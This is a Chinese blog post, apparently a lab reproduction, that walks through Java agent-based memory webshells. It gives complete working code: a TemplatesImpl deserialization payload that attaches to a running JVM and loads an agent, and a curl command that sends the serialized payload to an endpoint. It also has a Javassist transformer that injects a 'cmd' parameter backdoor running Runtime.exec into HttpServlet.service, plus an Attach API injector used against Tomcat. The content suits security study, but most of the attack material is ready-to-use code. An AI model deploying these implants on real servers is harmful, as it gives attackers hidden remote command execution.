    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class Test extends AbstractTranslet {
        static {
            try{
                java.lang.String path = "C:\\Users\\95227\\Desktop\\实验室\\序列化反序列化\\复现\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar";
                java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
                java.net.URL url = toolsPath.toURI().toURL();
                java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
                Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
                Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
                java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
                java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
    
                System.out.println("Running JVM list ...");
                for(int i=0;i<list.size();i++){
                    Object o = list.get(i);
                    java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                    java.lang.String name = (java.lang.String) displayName.invoke(o,null);
                    // 列出当前有哪些 JVM 进程在运行
                    // 这里的 if 条件根据实际情况进行更改
                    if (name.contains("org.example.spring_agent.SpringAgentApplication")){
                        // 获取对应进程的 pid 号
                        java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                        java.lang.String id = (java.lang.String) getId.invoke(o,null);
                        System.out.println("id >>> " + id);
                        java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                        java.lang.Object vm = attach.invoke(o,new Object[]{id});
                        java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                        loadAgent.invoke(vm,new Object[]{path});
                        java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                        detach.invoke(vm,null);
                        System.out.println("Agent.jar Inject Success !!");
                        break;
                    }
                }
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        public Test(){
    
        }
    }
  • 用 java-chains , 把 Test.class 注入到 TemplatesImpl 的 _bytecodes,生成了 JavaNativePayload_…txt 文件。

    image-20260424223708401

  • 选好类型链之后将我们前面的Test.class传上去

  • 然后生成并下载Payload

    image-20260425181316849

  • 然后使用curl语句将序列化数据打过去

    我把名字改短了,而且把他放在了桌面,大家复现的复现的时候自行修改即可(生成的虽然是.txt,但它的本质内容通常并不是普通的文本,走ser就好)

    1
    curl -v "http://localhost:8080/cc" --data-binary "@C:\Users\95227\Desktop\exp.ser"

    image-20260425190328855这里他竟然没有成功!!!!!

解决:

问题解决:
问了一下ai;问题尽然出在Test.java文件里面的jar包路径上,因为有中文路径所以读取不到jar包

但是为什么agent那个项目里面可以读取到呢???
简单来说就是环境变了

  • 修改Text.java,将jar包放在全英文路径下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    package org.example.payload2;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class Test extends AbstractTranslet {
        static {
            try{
                java.lang.String path = "\"D:\\software\\exp\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar\"";
                java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
                java.net.URL url = toolsPath.toURI().toURL();
                java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
                Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
                Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
                java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
                java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
    
                System.out.println("Running JVM list ...");
                for(int i=0;i<list.size();i++){
                    Object o = list.get(i);
                    java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                    java.lang.String name = (java.lang.String) displayName.invoke(o,null);
                    // 列出当前有哪些 JVM 进程在运行
                    // 这里的 if 条件根据实际情况进行更改
                    if (name.contains("org.example.spring_agent.SpringAgentApplication")){
                        // 获取对应进程的 pid 号
                        java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                        java.lang.String id = (java.lang.String) getId.invoke(o,null);
                        System.out.println("id >>> " + id);
                        java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                        java.lang.Object vm = attach.invoke(o,new Object[]{id});
                        java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                        loadAgent.invoke(vm,new Object[]{path});
                        java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                        detach.invoke(vm,null);
                        System.out.println("Agent.jar Inject Success !!");
                        break;
                    }
                }
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        public Test(){
    
        }
    }
  • 按照上面的操作进行即可

    image-20260425192035689

    image-20260425191949852

    完美解决

    image-20260425191931309

方法二

思路:

  1. 编译并打包 AgentMemShell 为 agentmemshell.jar。
  2. 编译 Injector(需要 tools.jar,通常在 JAVA_HOME/lib/ 下)。
  3. 运行 Injector,指定目标 Tomcat 的 PID。
  4. 访问任何 Servlet 路径,带上 ?cmd=whoami 参数,即可执行命令。

xml:

对应这个xml和上面的不同的点在于,我们两个包不同,前面的是

<Agent-Class>org.example.payload2.AgentMain</Agent-Class>

现在是:<Agent-Class>org.example.payload.AgentMemShell</Agent-Class>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Agent</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.sun/tools -->
        <dependency>
            <groupId>com.sun</groupId>
            <artifactId>tools</artifactId>
            <version>1.8.0_65</version>
            <scope>system</scope>
            <systemPath>C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <compilerArgs>
                        <arg>-XDignore.symbol.file</arg>
                    </compilerArgs>
                    <fork>true</fork>
                </configuration>
            </plugin>

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>3.3.0</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Agent-Class>org.example.payload.AgentMemShell</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>=

ServletTransformer

  • ServletTransformer:使用 Javassist 库,在字节码层面修改特定的类(如 HttpServlet)。它在原本正常的方法(如 service)开头注入一段读请求、调系统的“恶意逻辑”。在合适位置载入恶意逻辑

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    package org.example.payload;
    
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtMethod;
    import javassist.LoaderClassPath;
    
    import java.lang.instrument.ClassFileTransformer;
    import java.security.ProtectionDomain;
    
    public class ServletTransformer implements ClassFileTransformer {
    
        @Override
        public byte[] transform(ClassLoader loader,
                                String className,
                                Class<?> classBeingRedefined,
                                ProtectionDomain protectionDomain,
                                byte[] classfileBuffer) {
    
            try {
                // 打印所有被加载的类,便于调试(仅第一次注入时启用)
                if (className != null && className.contains("servlet")) {
                    System.out.println("[Debug] Loading class: " + className);
                }
    
                // className 可能是 "javax/servlet/http/HttpServlet"
                // 也可能是 "javax.servlet.http.HttpServlet"
                String dotName = className.replace('/', '.');
    
                // 精确匹配 HttpServlet 类
                if ("javax.servlet.http.HttpServlet".equals(dotName)) {
                    System.out.println("[+] Found target class: " + dotName);
                    System.out.println("[+] Start transforming HttpServlet...");
    
                    // 初始化 Javassist ClassPool 并添加当前 ClassLoader 的路径
                    ClassPool classPool = ClassPool.getDefault();
                    if (loader != null) {
                        classPool.insertClassPath(new LoaderClassPath(loader));
                    }
    
                    // 获取类定义
                    CtClass ctClass = classPool.get(dotName);
                    CtMethod serviceMethod = ctClass.getDeclaredMethod("service");
    
                    // 恶意逻辑
                    String shell = ""
                            + "{"
                            + "    javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest)$1;"
                            + "    javax.servlet.http.HttpServletResponse res = (javax.servlet.http.HttpServletResponse)$2;"
                            + "    String cmd = req.getParameter(\"cmd\");"
                            + "    if (cmd != null) {"
                            + "        try {"
                            + "            java.util.Scanner s = new java.util.Scanner("
                            + "                Runtime.getRuntime().exec(cmd).getInputStream(), \"UTF-8\""
                            + "            ).useDelimiter(\"\\\\A\");"
                            + "            String output = s.hasNext() ? s.next() : \"\";"
                            + "            res.setContentType(\"text/plain;charset=UTF-8\");"
                            + "            res.getWriter().write(output);"
                            + "            res.getWriter().flush();"
                            + "            return;"
                            + "        } catch (Exception e) {"
                            + "            e.printStackTrace();"
                            + "        }"
                            + "    }"
                            + "}";
    
                    // 在 service 方法的开头插入
                    serviceMethod.insertBefore(shell);
    
                    byte[] newClassBytes = ctClass.toBytecode();
                    ctClass.detach();
    
                    System.out.println("[+] HttpServlet Transformed Complete.");
                    return newClassBytes;
                }
    
            } catch (Throwable e) {
                System.out.println("[!] Transform failed: " + e);
                e.printStackTrace();
            }
    
            // 返回 null 表示不修改该类
            return null;
        }
    }

AgentMemShell

  • AgentMemShell:将其作为jar包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    package org.example.payload;
    
    import java.lang.instrument.Instrumentation;
    
    public class AgentMemShell {
        public static void agentmain(String agentArgs, Instrumentation inst) {
            System.out.println("AgentMemShell Injected!");
    
            // 添加类转换器
            inst.addTransformer(new ServletTransformer(), true);
    
            // 找到所有已加载的 HttpServlet 类并进行重转换
            Class[] loadedClasses = inst.getAllLoadedClasses();
            for (Class clazz : loadedClasses) {
                if (clazz.getName().equals("javax.servlet.http.HttpServlet")) {
                    try {
                        System.out.println("Found HttpServlet:"+clazz);
                        inst.retransformClasses(clazz);
                        System.out.println("Retransform HttpServlet Success.");
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                    break;
                }
            }
        }
    
        public static void premain(String agentArgs, Instrumentation inst) {
            agentmain(agentArgs, inst);
        }
    }

Injector

  • Injector:找到目标,将jar包放进去

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    package org.example.payload;
    
    import com.sun.tools.attach.VirtualMachine;
    import com.sun.tools.attach.VirtualMachineDescriptor;
    import java.util.List;
    
    public class Injector {
        public static void main(String args[]) throws Exception{
            if (args.length < 2) {
                System.out.println("Usage: java -jar injector.jar <pid> <agent_jar_path>");
                System.out.println("Available JVM processes:");
                listProcesses();
                return;
            }
    
            String pid = args[0];
            String agentJarPath = args[1];
    
            try {
                System.out.println("Trying to attach to PID: " + pid);
                VirtualMachine vm = VirtualMachine.attach(pid);
                vm.loadAgent(agentJarPath);
                vm.detach();
                System.out.println("[+] Agent injected successfully!");
            } catch (Exception e) {
                System.err.println("[-] Injection failed: " + e.getMessage());
                e.printStackTrace();
            }
        }
    
        private static void listProcesses() {
            try {
                List<VirtualMachineDescriptor> vmList = VirtualMachine.list();
                for (VirtualMachineDescriptor vmd : vmList) {
                    System.out.println("PID: " + vmd.id() + " - " + vmd.displayName());
                }
            } catch (Exception e) {
                System.err.println("[-] Failed to list processes: " + e.getMessage());
            }
        }
    }
    1. 程序处于正常运行状态,内存中已经加载了原本的 HttpServlet。提供一个可以被注入的 PID。
    2. 运行 Injector,将把你的 AgentMemShell.jar 路径通过 Attach API 发送给受害者进程。
    3. 触发 AgentMemShell,受害者进程收到通知,自动在**自己的内存里**调用 AgentMemShell 的 agentmain 方法。它开始在受害者内部扫描 HttpServlet 类。找到即可
    4. 执行 ServletTransformer,当 AgentMemShell 执行 inst.retransformClasses(clazz) 时,JVM 会自动调用 ServletTransformer 的 transform 方法,在这里,Javassist 真正修改了字节码

复现

  • 接下来起一个tomcat

  • 在终端输入jps -l,找到 org.apache.catalina.startup.Bootstrap 这个进程,前面的数字就是 PID。

    image-20260425221632068

  • 1
    & "C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -cp "C:\Program Files\Java\jdk1.8.0_65\lib\tools.jar;C:\Users\95227\Desktop\实验室\序列化反序列化\复现\Agent\target\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar" org.example.payload.Injector 3720 C:\Users\95227\Desktop\实验室\序列化反序列化\复现\Agent\target\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar

    image-20260425221648746

    image-20260425221716818成功!!!!


内存马系列 - Agent型
http://example.com/2026/04/24/内存马系列 - Agent型/
作者
Piggy Sprint
发布于
2026年4月24日
许可协议